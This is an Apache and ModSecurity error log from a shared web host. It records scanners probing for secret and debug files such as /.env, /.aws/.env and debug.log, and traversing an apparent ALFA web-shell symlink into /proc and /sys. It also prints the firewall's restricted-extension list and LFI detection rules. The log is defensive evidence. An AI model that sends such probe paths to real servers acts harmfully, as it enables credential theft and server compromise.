[Mon Oct 26 23:35:47.399836 2026] [security2:error] [pid 3152934:tid 3152934] [client 34.78.64.142:47728] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /web/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/web/.env"] [unique_id "auAcE_aBHXiICPr245B4OAAAAAM"]
[Mon Oct 26 23:35:47.399993 2026] [security2:error] [pid 3152934:tid 3152934] [client 34.78.64.142:47728] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/web/.env"] [unique_id "auAcE_aBHXiICPr245B4OAAAAAM"]
[Mon Oct 26 23:35:47.400205 2026] [security2:error] [pid 3152934:tid 3152934] [client 34.78.64.142:47728] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/web/.env"] [unique_id "auAcE_aBHXiICPr245B4OAAAAAM"]
[Mon Oct 26 23:35:47.416735 2026] [security2:error] [pid 3153395:tid 3153395] [client 34.78.64.142:47798] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "64.20.54.226"] [uri "/wp-content/debug.log"] [unique_id "auAcE2pawJAXXLjH59_iJAAAABQ"]
[Mon Oct 26 23:35:47.417094 2026] [security2:error] [pid 3153395:tid 3153395] [client 34.78.64.142:47798] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/wp-content/debug.log"] [unique_id "auAcE2pawJAXXLjH59_iJAAAABQ"]
[Mon Oct 26 23:35:47.417414 2026] [security2:error] [pid 3153395:tid 3153395] [client 34.78.64.142:47798] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/wp-content/debug.log"] [unique_id "auAcE2pawJAXXLjH59_iJAAAABQ"]
[Mon Oct 26 23:35:47.458718 2026] [security2:error] [pid 3150489:tid 3150489] [client 34.78.64.142:47720] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "64.20.54.226"] [uri "/npm-debug.log"] [unique_id "auAcEzvJu9RIoV0HiuBZ7wAAAAA"]
[Mon Oct 26 23:35:47.458924 2026] [security2:error] [pid 3150489:tid 3150489] [client 34.78.64.142:47720] ModSecurity: Warning. Matched phrase "/npm-debug.log" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /npm-debug.log found within REQUEST_FILENAME: /npm-debug.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/npm-debug.log"] [unique_id "auAcEzvJu9RIoV0HiuBZ7wAAAAA"]
[Mon Oct 26 23:35:47.459125 2026] [security2:error] [pid 3150489:tid 3150489] [client 34.78.64.142:47720] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/npm-debug.log"] [unique_id "auAcEzvJu9RIoV0HiuBZ7wAAAAA"]
[Mon Oct 26 23:35:47.459437 2026] [security2:error] [pid 3150489:tid 3150489] [client 34.78.64.142:47720] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/npm-debug.log"] [unique_id "auAcEzvJu9RIoV0HiuBZ7wAAAAA"]
[Mon Oct 26 23:35:49.077097 2026] [core:error] [pid 3153398:tid 3153398] (13)Permission denied: [client 100.29.160.53:49767] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0a/subsystem/devices/device:16/subsystem/devices/device:05/physical_node/driver/0000:00:03.0/resource4_wc
[Mon Oct 26 23:35:50.866754 2026] [security2:error] [pid 3153400:tid 3153400] [client 186.189.101.187:6714] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "close, keep-alive"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/escu.com"] [unique_id "auAcFhoNoOwUPpD6lvZZ4gAAABk"], referer: https://sherwinpinturas.com/
[Mon Oct 26 23:35:50.866974 2026] [security2:error] [pid 3153400:tid 3153400] [client 186.189.101.187:6714] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".com"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/escu.com"] [unique_id "auAcFhoNoOwUPpD6lvZZ4gAAABk"], referer: https://sherwinpinturas.com/
[Mon Oct 26 23:35:50.867545 2026] [security2:error] [pid 3153400:tid 3153400] [client 186.189.101.187:6714] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 8)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/escu.com"] [unique_id "auAcFhoNoOwUPpD6lvZZ4gAAABk"], referer: https://sherwinpinturas.com/
[Mon Oct 26 23:35:50.867999 2026] [security2:error] [pid 3153400:tid 3153400] [client 186.189.101.187:6714] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 8 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/escu.com"] [unique_id "auAcFhoNoOwUPpD6lvZZ4gAAABk"], referer: https://sherwinpinturas.com/
[Mon Oct 26 23:35:55.468527 2026] [ssl:error] [pid 3153407:tid 3153407] (70014)End of file found: [client 18.209.201.119:34027] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:36:02.750977 2026] [ssl:error] [pid 3152940:tid 3152940] (70014)End of file found: [client 52.3.102.51:18682] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:36:10.557459 2026] [ssl:error] [pid 3152934:tid 3152934] (70014)End of file found: [client 52.4.238.8:35027] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:36:30.521012 2026] [core:error] [pid 3146389:tid 3146389] (13)Permission denied: [client 3.220.148.166:29266] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory4/node0/cpu1/node0/memory16/subsystem/drivers_probe
[Mon Oct 26 23:36:38.554765 2026] [ssl:error] [pid 3153407:tid 3153407] (70014)End of file found: [client 44.221.105.234:36033] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:36:46.544708 2026] [core:error] [pid 3153096:tid 3153096] (13)Permission denied: [client 23.21.175.228:2941] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.0/firmware_node/PNP0303:00/physical_node1/firmware_node/physical_node1/driver/bind
[Mon Oct 26 23:36:54.765258 2026] [ssl:error] [pid 3147517:tid 3147517] (70014)End of file found: [client 52.71.216.196:2476] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:36:58.588771 2026] [ssl:error] [pid 3153409:tid 3153409] (70014)End of file found: [client 44.209.35.147:30644] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:37:02.543298 2026] [ssl:error] [pid 3147517:tid 3147517] (70014)End of file found: [client 3.224.215.150:42846] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:37:06.637520 2026] [ssl:error] [pid 3147565:tid 3147565] (70014)End of file found: [client 52.205.113.104:63011] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:37:18.584462 2026] [ssl:error] [pid 3153395:tid 3153395] (70014)End of file found: [client 52.2.58.41:12358] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:37:22.502707 2026] [ssl:error] [pid 3147517:tid 3147517] (70014)End of file found: [client 100.24.149.244:16777] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:37:27.763848 2026] [ssl:error] [pid 3153401:tid 3153401] (70014)End of file found: [client 54.147.238.89:11363] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:37:33.195423 2026] [core:error] [pid 3153096:tid 3153096] (13)Permission denied: [client 185.191.171.3:12606] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kvm_vcpu/hwcache_align
[Mon Oct 26 23:37:38.442701 2026] [ssl:error] [pid 3153401:tid 3153401] (70014)End of file found: [client 18.214.238.178:51025] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:37:41.557030 2026] [security2:error] [pid 3147565:tid 3147565] [client 185.191.171.15:50136] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".inc"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/fud/default/errmsg.inc"] [unique_id "auAchet_JlfYNa0VLOKIoAAAAAw"]
[Mon Oct 26 23:37:41.557512 2026] [security2:error] [pid 3147565:tid 3147565] [client 185.191.171.15:50136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/fud/default/errmsg.inc"] [unique_id "auAchet_JlfYNa0VLOKIoAAAAAw"]
[Mon Oct 26 23:37:41.577245 2026] [security2:error] [pid 3147565:tid 3147565] [client 185.191.171.15:50136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/fud/default/errmsg.inc"] [unique_id "auAchet_JlfYNa0VLOKIoAAAAAw"]
[Mon Oct 26 23:37:46.411090 2026] [ssl:error] [pid 3147517:tid 3147517] (70014)End of file found: [client 18.209.137.234:51332] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:37:54.494373 2026] [ssl:error] [pid 3146331:tid 3146331] (70014)End of file found: [client 184.72.84.154:33642] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:38:02.310680 2026] [ssl:error] [pid 3152934:tid 3152934] (70014)End of file found: [client 34.193.2.57:43127] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:38:14.226031 2026] [core:error] [pid 3152927:tid 3152927] (13)Permission denied: [client 54.145.82.217:24886] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:1f/subsystem/devices/device:05/physical_node/rescan
[Mon Oct 26 23:38:26.196813 2026] [ssl:error] [pid 3146389:tid 3146389] (70014)End of file found: [client 52.4.76.156:1437] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:38:30.208771 2026] [ssl:error] [pid 3147517:tid 3147517] (70014)End of file found: [client 34.236.185.101:53288] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:38:34.197862 2026] [ssl:error] [pid 3152927:tid 3152927] (70014)End of file found: [client 54.156.248.117:27751] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:38:38.284123 2026] [ssl:error] [pid 3152934:tid 3152934] (70014)End of file found: [client 98.84.60.17:35406] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:38:42.202982 2026] [ssl:error] [pid 3146389:tid 3146389] (70014)End of file found: [client 52.1.157.90:52176] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:38:50.250946 2026] [security2:error] [pid 3146331:tid 3146331] [client 54.235.158.162:35900] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.0/firmware_node/physical_node/firmware_node/PNP0B00:00/physical_node/subsystem/drivers/"] [unique_id "auAcyh7MuKI4tGMtwYeNGQAAAAo"]
[Mon Oct 26 23:38:50.251001 2026] [security2:error] [pid 3146331:tid 3146331] [client 54.235.158.162:35900] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.0/firmware_node/physical_node/firmware_node/PNP0B00:00/physical_node/subsystem/drivers/"] [unique_id "auAcyh7MuKI4tGMtwYeNGQAAAAo"]
[Mon Oct 26 23:38:54.187661 2026] [ssl:error] [pid 3152927:tid 3152927] (70014)End of file found: [client 3.93.98.99:25734] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:38:58.202611 2026] [ssl:error] [pid 3146389:tid 3146389] (70014)End of file found: [client 34.225.87.80:3941] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:39:02.230629 2026] [core:error] [pid 3153096:tid 3153096] (13)Permission denied: [client 44.212.106.171:53123] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/physical_node/0000:00:04.0/driver/0000:00:03.0/subsystem/devices/0000:00:01.0/subsystem/slots/28/module/uevent
[Mon Oct 26 23:39:08.142747 2026] [security2:error] [pid 3142605:tid 3142605] [client 107.172.76.131:57450] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auAc0UV4AUzwl86DWiroMAAAABI"], referer: https://hosp2.sherwinpinturas.com/beta.php
[Mon Oct 26 23:39:08.142857 2026] [security2:error] [pid 3142605:tid 3142605] [client 107.172.76.131:57450] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auAc0UV4AUzwl86DWiroMAAAABI"], referer: https://hosp2.sherwinpinturas.com/beta.php
[Mon Oct 26 23:39:14.235181 2026] [ssl:error] [pid 3153096:tid 3153096] (70014)End of file found: [client 54.87.62.248:11115] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:39:18.551509 2026] [ssl:error] [pid 3153409:tid 3153409] (70014)End of file found: [client 54.92.171.106:49045] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:39:22.205730 2026] [core:error] [pid 3146389:tid 3146389] (13)Permission denied: [client 52.204.253.129:29111] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0303:00/physical_node1/wakeup/wakeup10/subsystem/wakeup5/device/physical_node/resource4_wc
[Mon Oct 26 23:39:34.183798 2026] [ssl:error] [pid 3153395:tid 3153395] (70014)End of file found: [client 54.84.93.8:64649] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:39:38.217894 2026] [core:error] [pid 3153096:tid 3153096] (13)Permission denied: [client 3.224.205.25:27550] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/subsystem/devices/device:01/PNP0501:01/subsystem/drivers/button/bind
[Mon Oct 26 23:39:54.165848 2026] [ssl:error] [pid 3153395:tid 3153395] (70014)End of file found: [client 3.210.29.96:34980] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:39:58.207370 2026] [ssl:error] [pid 3153096:tid 3153096] (70014)End of file found: [client 52.203.65.83:3006] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:40:02.169363 2026] [ssl:error] [pid 3153395:tid 3153395] (70014)End of file found: [client 184.73.195.18:57842] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:40:18.170146 2026] [core:error] [pid 3153096:tid 3153096] (13)Permission denied: [client 52.45.92.83:48689] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/pci0000:00/pci_bus/0000:00/device/firmware_node/device:0c/subsystem/devices/PNP0A03:00/physical_node/0000:00:03.0/virtio0/driver/unbind
[Mon Oct 26 23:40:22.156913 2026] [ssl:error] [pid 3147517:tid 3147517] (70014)End of file found: [client 52.204.253.129:54492] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:40:34.178698 2026] [ssl:error] [pid 3153404:tid 3153404] (70014)End of file found: [client 52.202.52.82:49883] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:40:42.216362 2026] [ssl:error] [pid 3153404:tid 3153404] (70014)End of file found: [client 44.215.235.20:63578] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:40:46.175552 2026] [ssl:error] [pid 3152927:tid 3152927] (70014)End of file found: [client 34.203.111.15:4084] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:40:50.299535 2026] [ssl:error] [pid 3146331:tid 3146331] (70014)End of file found: [client 52.44.174.136:16786] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:40:58.179181 2026] [ssl:error] [pid 3147565:tid 3147565] (70014)End of file found: [client 34.230.124.21:52874] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:41:02.183083 2026] [security2:error] [pid 3152927:tid 3152927] [client 18.214.251.19:22331] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory4/node0/cpu1/node0/memory16/subsystem/"] [unique_id "auAdTun4bIWiIXBuaEF-2AAAAAI"]
[Mon Oct 26 23:41:02.183141 2026] [security2:error] [pid 3152927:tid 3152927] [client 18.214.251.19:22331] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory4/node0/cpu1/node0/memory16/subsystem/"] [unique_id "auAdTun4bIWiIXBuaEF-2AAAAAI"]
[Mon Oct 26 23:41:10.197843 2026] [ssl:error] [pid 3153409:tid 3153409] (70014)End of file found: [client 184.73.47.24:8347] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:41:18.205195 2026] [ssl:error] [pid 3153798:tid 3153798] (70014)End of file found: [client 18.235.158.19:33423] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:41:27.332517 2026] [security2:error] [pid 3152927:tid 3152927] [client 35.241.132.20:44222] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.aws/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "server.parkeranders.com"] [uri "/.aws/.env"] [unique_id "auAdZ-n4bIWiIXBuaEF-3gAAAAI"]
[Mon Oct 26 23:41:27.332768 2026] [security2:error] [pid 3152927:tid 3152927] [client 35.241.132.20:44222] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "server.parkeranders.com"] [uri "/.aws/.env"] [unique_id "auAdZ-n4bIWiIXBuaEF-3gAAAAI"]
[Mon Oct 26 23:41:27.333674 2026] [security2:error] [pid 3152927:tid 3152927] [client 35.241.132.20:44222] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "server.parkeranders.com"] [uri "/403.shtml"] [unique_id "auAdZ-n4bIWiIXBuaEF-3gAAAAI"]
